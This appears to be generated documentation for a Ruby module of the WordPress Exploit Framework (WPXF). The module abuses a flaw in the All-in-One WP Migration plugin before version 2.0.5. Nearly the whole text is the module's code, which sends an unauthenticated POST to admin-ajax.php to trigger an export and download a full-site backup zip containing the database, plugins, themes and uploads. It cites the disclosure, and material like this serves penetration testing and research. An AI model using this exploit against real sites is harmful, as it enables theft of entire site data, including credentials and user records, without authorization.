class Wpxf::Auxiliary::AllInOneMigrationExport

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 6
def initialize
  super

  update_info(
    name: 'All-in-One Migration Export',
    desc: %(
      This module allows you to export WordPress data (such as the
      database, plugins, themes, uploaded files, etc) via the
      All-in-One Migration plugin in versions < 2.0.5.
    ),
    author: [
      'James Golovich', # Disclosure
      'rastating'       # WPXF module
    ],
    references: [
      ['WPVDB', '7857'],
      ['URL', 'http://www.pritect.net/blog/all-in-one-wp-migration-2-0-4-security-vulnerability']
    ],
    date: 'Mar 19 2015'
  )

  register_option(
    IntegerOption.new(
      name: 'http_client_timeout',
      desc: 'Max wait time in seconds for HTTP responses',
      default: 300,
      required: true
    )
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 37
def check
  check_plugin_version_from_readme('all-in-one-wp-migration', '2.0.5')
end
download_request_body() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 49
def download_request_body
  { 'options[action]' => 'export' }
end
download_request_method() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 45
def download_request_method
  :post
end
download_request_params() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 53
def download_request_params
  { 'action' => 'router' }
end
downloader_url() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 57
def downloader_url
  wordpress_url_admin_ajax
end
file_category() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 65
def file_category
  'full backup'
end
file_extension() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 61
def file_extension
  '.zip'
end
register_remote_file_option?() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb, line 41
def register_remote_file_option?
  false
end